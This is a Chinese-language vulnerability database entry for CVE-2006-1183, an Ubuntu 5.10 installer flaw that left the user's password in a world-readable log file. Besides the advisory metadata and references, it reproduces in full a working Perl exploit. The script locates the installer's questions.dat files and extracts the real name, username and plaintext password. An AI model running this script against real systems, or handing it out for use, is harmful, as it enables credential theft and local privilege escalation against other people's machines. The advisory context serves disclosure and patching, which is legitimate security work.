Ubuntu Linux本地安装口令泄露漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109902 漏洞类型 设计错误
发布时间 2006-03-12 更新时间 2007-11-01
CVE编号 CVE-2006-1183 CNNVD-ID CNNVD-200603-221
漏洞平台 Linux CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/1579
https://www.securityfocus.com/bid/17086
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200603-221
|漏洞详情
Ubuntu5.10安装器没有妥善从安装器记录文件(questions.dat)中清除掉口令,留下一个全域可读的记录文件,从而本地用户可取得特权。
|漏洞EXP
#!/usr/bin/perl -w

use warnings;
use strict;

##############################################################################
# Author: Kristian Hermansen
# Date: 3/12/2006
# Overview: Ubuntu Breezy stores the installation password in plain text
# Link: https://launchpad.net/distros/ubuntu/+source/shadow/+bug/34606
##############################################################################

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "Kristian Hermansen's 'Eazy Breezy' Password Recovery Tool\n";
print "99% effective, thank your local admin ;-)\n";
print "FOR EDUCATIONAL PURPOSES ONLY!!!\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

# the two vulnerable files
my $file1 = "/var/log/installer/cdebconf/questions.dat";
my $file2 = "/var/log/debian-installer/cdebconf/questions.dat";

print "Checking if an exploitable file exists...";
if ( (-e $file1) || (-e $file2) )
{ 
  print "Yes\nNow checking if readable...";
  if ( -r $file1 )
  {
    getinfo($file1);
  }
  else
  {
    if ( -r $file2 ) {
      getinfo($file2);
    }
    else {
      print "No\nAdmin may have changed the permissions on the files :-(\nExiting...\n";
      exit(-2);
    }
  }
}
else
{
  print "No\nFile may have been deleted by the administrator :-(\nExiting...\n";
  exit(-1);
}

sub getinfo {
  my $fn = shift;
  print "Yes\nHere come the details...\n\n";
  my $realname = `grep -A 1 "Template: passwd/user-fullname" $fn | grep "Value: " | sed 's/Value: //'`;
  my $user = `grep -A 1 "Template: passwd/username" $fn | grep "Value: " | sed 's/Value: //'`;
  my $pass = `grep -A 1 "Template: passwd/user-password-again" $fn | grep "Value: " | sed 's/Value: //'`;
  chomp($realname);
  chomp($user);
  chomp($pass);
  print "Real Name: $realname\n";
  print "Username: $user\n";
  print "Password: $pass\n";
}

# milw0rm.com [2006-03-12]
|受影响的产品
Ubuntu Ubuntu Linux 5.10 powerpc Ubuntu Ubuntu Linux 5.10 i386 Ubuntu Ubuntu Linux 5.10 amd64
|参考资料

来源:UBUNTU
名称:USN-262-1
链接:http://www.ubuntulinux.org/support/documentation/usn/usn-262-1
来源:launchpad.net
链接:https://launchpad.net/distros/ubuntu/+source/shadow/+bug/34606
来源:XF
名称:ubuntu-installer-password-disclosure(25170)
链接:http://xforce.iss.net/xforce/xfdb/25170
来源:BID
名称:17086
链接:http://www.securityfocus.com/bid/17086
来源:OSVDB
名称:23868
链接:http://www.osvdb.org/23868
来源:VUPEN
名称:ADV-2006-0927
链接:http://www.frsirt.com/english/advisories/2006/0927
来源:SECTRACK
名称:1015761
链接:http://securitytracker.com/id?1015761
来源:SECUNIA
名称:19200
链接:http://secunia.com/advisories/19200